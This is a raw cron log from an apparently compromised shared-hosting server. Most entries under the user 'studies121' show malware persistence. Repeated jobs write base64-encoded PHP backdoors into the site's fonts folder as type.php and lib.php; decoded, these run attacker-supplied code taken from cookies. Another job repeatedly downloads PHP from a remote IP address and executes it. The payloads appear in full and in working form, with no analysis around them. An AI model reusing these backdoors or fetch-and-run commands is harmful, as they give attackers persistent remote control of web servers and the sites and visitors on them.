Sep 10 15:02:01 ip-184-168-122-23 CROND[27813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:03:01 ip-184-168-122-23 CROND[27933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:03:01 ip-184-168-122-23 CROND[27935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:03:01 ip-184-168-122-23 CROND[27936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:03:01 ip-184-168-122-23 CROND[27937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:04:01 ip-184-168-122-23 CROND[28021]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:04:01 ip-184-168-122-23 CROND[28023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:04:01 ip-184-168-122-23 CROND[28024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:04:01 ip-184-168-122-23 CROND[28025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:04:01 ip-184-168-122-23 CROND[28026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:05:01 ip-184-168-122-23 CROND[28228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:05:01 ip-184-168-122-23 CROND[28230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:05:01 ip-184-168-122-23 CROND[28231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:05:01 ip-184-168-122-23 CROND[28234]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:05:01 ip-184-168-122-23 CROND[28232]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:05:01 ip-184-168-122-23 CROND[28235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:05:01 ip-184-168-122-23 CROND[28233]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 15:06:01 ip-184-168-122-23 CROND[28335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:06:01 ip-184-168-122-23 CROND[28337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:06:01 ip-184-168-122-23 CROND[28338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:06:01 ip-184-168-122-23 CROND[28339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:06:01 ip-184-168-122-23 CROND[28340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:07:01 ip-184-168-122-23 CROND[28439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:07:01 ip-184-168-122-23 CROND[28440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:07:01 ip-184-168-122-23 CROND[28441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:07:01 ip-184-168-122-23 CROND[28442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:08:01 ip-184-168-122-23 CROND[28532]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:08:01 ip-184-168-122-23 CROND[28534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:08:01 ip-184-168-122-23 CROND[28535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:08:01 ip-184-168-122-23 CROND[28537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:08:01 ip-184-168-122-23 CROND[28536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:09:01 ip-184-168-122-23 CROND[28647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:09:01 ip-184-168-122-23 CROND[28648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:09:01 ip-184-168-122-23 CROND[28650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:09:01 ip-184-168-122-23 CROND[28652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:09:01 ip-184-168-122-23 CROND[28653]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 15:10:01 ip-184-168-122-23 CROND[28758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:10:02 ip-184-168-122-23 CROND[28760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:10:02 ip-184-168-122-23 CROND[28762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:10:02 ip-184-168-122-23 CROND[28766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:10:02 ip-184-168-122-23 CROND[28767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:10:02 ip-184-168-122-23 CROND[28764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:10:02 ip-184-168-122-23 CROND[28765]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 15:10:02 ip-184-168-122-23 CROND[28768]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:11:01 ip-184-168-122-23 CROND[28881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:11:01 ip-184-168-122-23 CROND[28884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:11:01 ip-184-168-122-23 CROND[28885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:11:01 ip-184-168-122-23 CROND[28883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:12:01 ip-184-168-122-23 CROND[29073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:12:01 ip-184-168-122-23 CROND[29075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:12:01 ip-184-168-122-23 CROND[29076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:12:01 ip-184-168-122-23 CROND[29079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:12:01 ip-184-168-122-23 CROND[29080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:13:01 ip-184-168-122-23 CROND[29171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:13:01 ip-184-168-122-23 CROND[29174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:13:01 ip-184-168-122-23 CROND[29173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:13:01 ip-184-168-122-23 CROND[29175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:14:01 ip-184-168-122-23 CROND[29275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:14:01 ip-184-168-122-23 CROND[29277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:14:01 ip-184-168-122-23 CROND[29278]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:14:01 ip-184-168-122-23 CROND[29280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:14:02 ip-184-168-122-23 CROND[29282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
